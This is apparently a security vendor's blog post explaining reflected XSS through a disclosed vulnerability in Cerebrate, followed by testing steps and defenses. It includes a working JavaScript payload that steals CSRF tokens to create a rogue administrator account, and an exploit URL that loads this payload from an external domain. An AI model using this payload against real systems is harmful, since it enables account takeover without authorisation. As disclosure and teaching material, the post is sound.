Web application security is a critical aspect of maintaining secure and reliable online services. One of the most commonly exploited vulnerabilities in web applications is reflected Cross-Site Scripting (XSS). This article will explore this vulnerability, a real-life example reflected XSS Dawid found in Cerebrate, its impact, and how to protect your site from this threat.

In this article you will find:

• Understanding Reflected XSS
  • Primary Components of Reflected XSS
• What is the Difference Between Stored XSS and Reflected XSS?
• Identifying and Testing for Reflected XSS Vulnerabilities
  • Steps to Test for Reflected XSS
• The Attack Scenario: A Real-World Example
  • Breaking Down the Malicious Script
• Potential Consequences of Reflected XSS Attacks
• Protecting Your Site from Reflected XSS Attacks
  • Remediations Summary
• Conclusion

Understanding Reflected XSS

Reflected Cross-Site Scripting (XSS) is a type of web vulnerability that occurs when an attacker injects malicious code into a website, and that code is then reflected back to the user’s browser.  This occurs when the application fails to properly sanitize user input before including it in the output. When the victim’s browser loads the malicious content, the injected script is executed, potentially compromising the user’s data and interactions with the application.

Primary Components of Reflected XSS

• User Input: The attacker injects malicious code into user input fields, such as search boxes or login forms.
• Unsanitized Output: The web application does not properly sanitize the user input and includes it in the output, such as search results or error messages.
• Script Execution: The victim’s browser executes the malicious script, allowing the attacker to perform actions on the victim’s behalf or access sensitive data.

What is the Difference Between Stored XSS and Reflected XSS?

Stored XSS, also known as Persistent XSS, is another type of XSS vulnerability. Unlike Reflected XSS, where the malicious code is immediately reflected back to the user, Stored XSS involves the persistent storage of the malicious payload on the target server. This payload is then served to other users who access the affected page.

The main difference between Stored XSS and Reflected XSS lies in how the malicious payload is delivered. In Stored XSS, the attacker injects code that is permanently stored on the target server and subsequently displayed to multiple users. On the other hand, in Reflected XSS, the attacker injects code that is reflected back to a specific user, typically through a manipulated URL or form input.

Identifying and Testing for Reflected XSS Vulnerabilities

To identify and test for reflected XSS vulnerabilities, it is crucial to examine every entry point for data within the application’s HTTP requests. This includes parameters or other data within the URL query string, message body, and URL file path, as well as HTTP headers.

Steps to Test for Reflected XSS

1. Test Every Entry Point: Test each entry point for data within the application’s HTTP requests, including parameters, URL query string, message body, and HTTP headers.
2. Submit Random Alphanumeric Values: For each entry point, submit a unique random value and determine whether the value is reflected in the response.
3. Determine the Reflection Context: For each location where the random value is reflected, determine its context (e.g., text between HTML tags, within a tag attribute, within a JavaScript string, etc.)
4. Test Payload: Based on the context of the reflection, test an initial candidate XSS payload that will trigger JavaScript execution if it is reflected unmodified within the response.
5. Test Alternative Payloads: If the candidate XSS payload is modified or blocked, test alternative payloads and techniques such as URL encoding the payload that might deliver a successful XSS attack.
6. Confirm the Attack in a Browser: If you find a payload that appears to work within a testing tool, transfer the attack to a real browser and see if the injected JavaScript is indeed executed.

The Attack Scenario: A Real-World Example

During the security research, with the help of our open-source vulnerability scanner CakeFuzzer, Dawid discovered that the application vulnerability was caused by insufficient output sanitization. The attacker could use the “modifySettingAction“ function under the local tools to inject malicious code into the application, which would then be reflected and executed in the victim’s browser.

The tricky part is, at least one MISP connection has to be created in Cerebrate in order to exploit this vulnerability.

To illustrate the attack scenario we created the following malicious script and uploaded it to our server:

u = '/users/add'; $.get(u, function(d) {					
r = /_Token\[fields\]".*?value="([^"]+)"/g; t = r.exec(d)[1];
 r = /_csrfToken.*?value="([^"]+)"/g;
 c = r.exec(d)[1];					
$.post(u, {
 _csrfToken: c,
 '_Token[fields]': t,
 individual_id: 1,
 username: 'reflected_xss_user', organisation_id: 1,
 password: '123qweASD!@#', confirm_password: '123qweASD!@#', role_id: 1,
 disabled: 0,
 '_Token[unlocked]': ''						
}); })

This script was accessible under the following URL when we were testing: https://our-public-domain/xss-cerebrate-125719276512.js 

Breaking Down the Malicious Script

If you want to understand malicious script components, here it is:

1. It sends a GET request to /users/add using XMLHttpRequest.
2. Once the response is received, the script extracts two values from the response data: a CSRF token and a token for a form field.
   1. The CSRF token is extracted using a regular expression (/_csrfToken.*?value=”([^”]+)”/g).
   2. The form field token is extracted using another regular expression (/_Token\[fields]”.*?value=”([^”]+)”/g).
3. After obtaining these values, the script sends a POST request to the same URL (/users/add) with the following data:
   1. _csrfToken: The extracted CSRF token.
   2. ‘_Token[fields]’: The extracted form field token.
   3. individual_id: An ID value for the individual.
   4. username: The username of the user being created (reflected_xss_user in this case).
   5. organisation_id: The ID value for the organization.
   6. password and confirm_password: The desired password and its confirmation.
   7. role_id: The ID value for the user’s role.
   8. disabled: A flag indicating whether the user is disabled (0 in this case).
   9. ‘_Token[unlocked]’: An empty value for an unlocked token.

Before executing the attack there were only 8 users on Cerebrate instance as you can see in the following screenshot:

As an example scenario, let’s assume we convinced the Cerebrate’s administrator to click the following URL and JavaScript is executed:

http://dawid:8000/localTools/action/1/modifySettingAction?setting=<script src="https://our-public-domain.com/xss- cerebrate-125719276512.js"></script>

Finally, executed JavaScript code from the adversary’s server results in a creation of a new administrator (reflected_xss_user) on the Cerebrate application:

Potential Consequences of Reflected XSS Attacks

Reflected XSS can have severe consequences for both users and websites. Some potential vulnerabilities and consequences include:

• Unauthorized access: Attackers can use Reflected XSS to steal sensitive user information, such as login credentials, or personal data. To do these, reflected XSS vulnerabilities can be used to create realistic-looking phishing pages that trick users into disclosing their sensitive information.

• Cookie theft: By exploiting XSS vulnerabilities, attackers can hijack user sessions by stealing their session cookies, which can lead to unauthorized account access.

• Defacement: Attackers may inject malicious code to modify the appearance or content of the web page, leading to defacement and a negative impact on the website’s reputation.

• Malware distribution: Attackers can inject malicious scripts that redirect users to websites hosting malware, leading to the installation of harmful software on their systems.

Protecting Your Site from Reflected XSS Attacks

To protect your site from reflected XSS attacks, it is essential to implement proper output sanitization. It’s important to note that user input can not only come from the HTTP request but also from the database in form of comments, posts, messages, etc, so do not forget to secure these endpoints. Additionally, there are several other measures you can take to enhance your web application security:

• Use a Web Application Firewall (WAF): A WAF can help detect and block potential XSS attacks, providing an additional layer of protection.

• Output validation and sanitization
  • One of the most important steps in preventing reflected XSS attacks is to properly validate and sanitize output generated using the user-provided data in the front end before presenting it to the user. There are many different output encoding methods because browsers parse HTML, JS, URLs, and CSS differently.

• Use HTTP Headers
  • X-XSS-Protection: This header is used by older web browsers to enable or disable the built-in XSS filtering. It can be set to the value ‘1; mode=block’ to enable the filtering, or ‘0’ to disable it.
  • X-Content-Type-Options: This header helps prevent certain types of XSS attacks by preventing the browser from interpreting files as a different MIME type than the one specified by the server. The value of this header should be set to nosniff.
  • Content-Security-Policy (CSP): This header allows a web application to specify which sources of content are allowed to be loaded by the browser. It provides a way to enforce a whitelist of trusted sources and can help prevent XSS attacks by blocking untrusted sources. For example, a CSP header might look like this:
    • Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted-domain.com; object-src ‘none’
  • Strict-Transport-Security (HSTS): This header helps prevent SSL-stripping attacks, which can be used to facilitate XSS attacks. By setting this header, a web application can specify that it should only be accessed over a secure, encrypted connection.

• Use HttpOnly and Secure Cookie Flags:

Cookie flags are an important aspect of securing cookies from Cross-Site Scripting (XSS) attacks. Cookie flags are attributes that can be set on cookies when they are sent from the server to the client. They define the behaviour of the cookie and can help prevent XSS attacks by limiting the scope of the cookie and making it more secure.

• The HttpOnly flag can be set on a cookie to prevent JavaScript from accessing its content.
• The Secure flag ensures that the cookie is only sent over encrypted connections (HTTPS), which helps to prevent eavesdropping and tampering by attackers.
• Another flag, SameSite, can be used to prevent the cookie from being sent with cross-site requests.

These flags help to make cookies more secure and can play an important role in preventing XSS attacks.

• Educate Users: Inform your users about the risks of clicking on suspicious links and encourage them to be vigilant when interacting with emails, website comments sections, and social media feeds.

Remediations Summary

It’s important to keep in mind that preventing reflected XSS vulnerabilities requires a multi-layered approach, involving a combination of technical and procedural measures. By taking these steps, administrators and developers can help prevent reflected XSS attacks and protect the application and its users from potential harm.

Conclusion

Reflected XSS is a significant threat to web application security, as it allows attackers to compromise user data and interactions with vulnerable applications. By understanding the nature of this vulnerability, testing your application for potential weaknesses, and implementing the necessary safeguards, you can help protect your site and its users from the dangers of reflected XSS attacks.